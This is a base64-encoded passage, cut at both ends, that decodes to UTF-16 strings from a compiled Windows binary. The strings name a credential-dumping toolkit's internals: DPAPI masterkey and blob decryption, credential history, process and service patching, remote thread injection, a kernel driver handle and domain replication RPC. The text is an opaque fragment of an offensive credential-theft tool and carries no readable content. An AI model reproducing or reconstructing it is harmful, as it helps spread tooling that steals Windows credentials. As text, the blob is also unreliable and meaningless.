F8ATwBXAEYAAABDAEEATABHAF8AQQBFAFMAXwAxADIAOAAAAAAAQwBBAEwARwBfAEEARQBTAF8AMQA5ADIAAAAAAEMAQQBMAEcAXwBBAEUAUwBfADIANQA2AAAAAABDAEEATABHAF8AQQBFAFMAAAAAAEMAQQBMAEcAXwBTAEgAQQBfADIANQA2AAAAAABDAEEATABHAF8AUwBIAEEAXwAzADgANAAAAAAAQwBBAEwARwBfAFMASABBAF8ANQAxADIAAAAAAEMAQQBMAEcAXwBFAEMARABIAAAAQwBBAEwARwBfAEUAQwBNAFEAVgAAAAAAQwBBAEwARwBfAEUAQwBEAFMAQQAAAAAAQQBUAF8ASwBFAFkARQBYAEMASABBAE4ARwBFAAAAAABBAFQAXwBTAEkARwBOAEEAVABVAFIARQAAAAAAQwBOAEcAIABLAGUAeQAAAD8AAAAlACoAcwAqACoAQgBMAE8AQgAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABnAHUAaQBkAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABkAHcATQBhAHMAdABlAHIASwBlAHkAVgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAZwB1AGkAZABNAGEAcwB0AGUAcgBLAGUAeQAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARABlAHMAYwByAGkAcAB0AGkAbwBuAEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcwB6AEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwAgACAAYQBsAGcAQwByAHkAcAB0ACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAAAAAAJQAqAHMAIAAgAGQAdwBBAGwAZwBDAHIAeQBwAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAYQBsAHQATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBTAGEAbAB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBIAG0AYQBjAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAGIASABtAGEAYwBrAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABhAGwAZwBIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAAAAlACoAcwAgACAAZAB3AEEAbABnAEgAYQBzAGgATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcASABtAGEAYwAyAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcABiAEgAbQBhAGMAawAyAEsAZQB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEQAYQB0AGEATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBEAGEAdABhACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAGkAZwBuAEwAZQBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAGIAUwBpAGcAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACgAKAAAAAAAlACoAcwAqACoATQBBAFMAVABFAFIASwBFAFkAKgAqAAoAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcwBhAGwAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIAByAG8AdQBuAGQAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABhAGwAZwBIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAJQAqAHMAIAAgAGEAbABnAEMAcgB5AHAAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAlACoAcwAgACAAcABiAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAgAEkATgBGAE8AKgAqAAoAAAAlACoAcwAgACAAZwB1AGkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAKgAqAEQATwBNAEEASQBOAEsARQBZACoAKgAKAAAAJQAqAHMAIAAgAGQAdwBTAGUAYwByAGUAdABMAGUAbgAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAGQAdwBBAGMAYwBlAHMAcwBjAGgAZQBjAGsATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAGcAdQBpAGQATQBhAHMAdABlAHIASwBlAHkAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAGIAUwBlAGMAcgBlAHQAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAgACAAcABiAEEAYwBjAGUAcwBzAGMAaABlAGMAawAgACAAIAAgADoAIAAAAAAAJQAqAHMAKgAqAE0AQQBTAFQARQBSAEsARQBZAFMAKgAqAAoAAAAAAAAAAAAlACoAcwAgACAAcwB6AEcAdQBpAGQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAewAlAC4AMwA2AHMAfQAKAAAAAAAlACoAcwAgACAAZAB3AE0AYQBzAHQAZQByAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAQgBhAGMAawB1AHAASwBlAHkATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBDAHIAZQBkAEgAaQBzAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEQAbwBtAGEAaQBuAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAWwBtAGEAcwB0AGUAcgBrAGUAeQBdAAoAAAAlACoAcwBbAGIAYQBjAGsAdQBwAGsAZQB5AF0ACgAAACUAKgBzAFsAYwByAGUAZABoAGkAcwB0AF0ACgAAAAAAJQAqAHMAWwBkAG8AbQBhAGkAbgBrAGUAeQBdAAoAAAAlACoAcwAqACoAQwBSAEUARABIAEkAUwBUACoAKgAKAAAAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABnAHUAaQBkACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABkAHcATgBlAHgAdABMAGUAbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAgAEUATgBUAFIAWQAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBUAHkAcABlACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAAAAlACoAcwAgACAAcgBvAHUAbgBkAHMAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABzAGkAZABMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABhAGwAZwBDAHIAeQBwAHQAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAJQAqAHMAIAAgAHMAaABhADEATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAbQBkADQATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABTAGEAbAB0ACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABTAGkAZAAgACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABwAFMAZQBjAHIAZQB0ACAAIAAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYwByAGUAZABoAGkAcwB0AF8AZQBuAHQAcgB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYwByAGUAZABoAGkAcwB0AF8AZQBuAHQAcgB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAABvAG4AXwB1AG4AcAByAG8AdABlAGMAdAAAAAAAbwBuAF8AcAByAG8AdABlAGMAdAAAAAAAcgBlAHMAZQByAHYAZQBkAAAAAABzAHQAcgBvAG4AZwAAAAAAcgBlAHEAdQBpAHIAZQBfAHMAdAByAG8AbgBnAAAAAAAlAHMAIAA7ACAAAAB1AGkAXwBmAG8AcgBiAGkAZABkAGUAbgAAAAAAdQBuAGsAbgBvAHcAbgAAAGwAbwBjAGEAbABfAG0AYQBjAGgAaQBuAGUAAABjAHIAZQBkAF8AcwB5AG4AYwAAAGEAdQBkAGkAdAAAAG4AbwBfAHIAZQBjAG8AdgBlAHIAeQAAAHYAZQByAGkAZgB5AF8AcAByAG8AdABlAGMAdABpAG8AbgAAAGMAcgBlAGQAXwByAGUAZwBlAG4AZQByAGEAdABlAAAAc3lzdGVtAAAAAAAACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgBCAGEAcwBlADYANAAgAG8AZgAgAGYAaQBsAGUAIAA6ACAAJQBzAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAlAGMAAAAAAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgADsAIABEAGUAdgBpAGMAZQBJAG8AQwBvAG4AdAByAG8AbAAgACgAMAB4ACUAMAA4AHgAKQAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABcAFwALgBcAG0AaQBtAGkAZAByAHYAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAYQBwAGkAKQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAVQBuAGkAcQB1AGUATgBhAG0AZQBMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBQAHUAYgBsAGkAYwBLAGUAeQBMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFAAcgBpAHYAYQB0AGUASwBlAHkATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcASABhAHMAaABMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBFAHgAcABvAHIAdABGAGwAYQBnAEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAFUAbgBpAHEAdQBlAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQBTAAoAAAAlACoAcwAgACAAcABIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAFAAdQBiAGwAaQBjAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAUAByAGkAdgBhAHQAZQBLAGUAeQAgACAAIAAgACAAIAAgACAAOgAKAAAAAAAlACoAcwAgACAAcABFAHgAcABvAHIAdABGAGwAYQBnACAAIAAgACAAIAAgACAAIAA6AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBjAHIAZQBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBwAHIAbwBwAGUAcgB0AGkAZQBzAF8AYwByAGUAYQB0AGUAIAAoAHAAdQBiAGwAaQBjACkACgAAAAAAJQAqAHMAKgAqAEsARQBZACAAKABjAG4AZwApACoAKgAKAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAdQBiAGwAaQBjAFAAcgBvAHAAZQByAHQAaQBlAHMATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzAEwAZQBuADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAQQByAHIAYQB5AFsAMQA2AF0AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlAC4AKgBzAAoAAAAlACoAcwAgACAAcABQAHUAYgBsAGkAYwBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAFAAcgBvAHAAZQByAHQAaQBlAHMAIAAgACAAIAA6AAoAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAIAA6AAoAAAAlACoAcwAqACoASwBFAFkAIABDAE4ARwAgAFAAUgBPAFAARQBSAFQAWQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwB0AHIAdQBjAHQATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB0AHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcAUAByAG8AcABlAHIAdAB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAHAAUAByAG8AcABlAHIAdAB5ACAAIAAgACAAIAAgACAAOgAgAAAAJQB1ACAAZgBpAGUAbABkACgAcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AbgBlAHQAXwBnAGUAdABEAEMAIAA7ACAARABzAEcAZQB0AEQAYwBOAGEAbQBlADoAIAAlAHUACgAAAGEAAAAiACUAcwAiACAAcwBlAHIAdgBpAGMAZQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABRAHUAZQByAHkAQwBvAG4AdABlAHgAdABBAHQAdAByAGkAYgB1AHQAZQBzACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAEkAXwBSAHAAYwBCAGkAbgBkAGkAbgBnAEkAbgBxAFMAZQBjAHUAcgBpAHQAeQBDAG8AbgB0AGUAeAB0ACAAJQAwADgAeAAKAAAAAABuAGMAYQBjAG4AXwBpAHAAXwB0AGMAcAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQATwBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQAQQB1AHQAaABJAG4AZgBvAEUAeAA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAATgBvACAAQgBpAG4AZABpAG4AZwAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AYwByAGUAYQB0AGU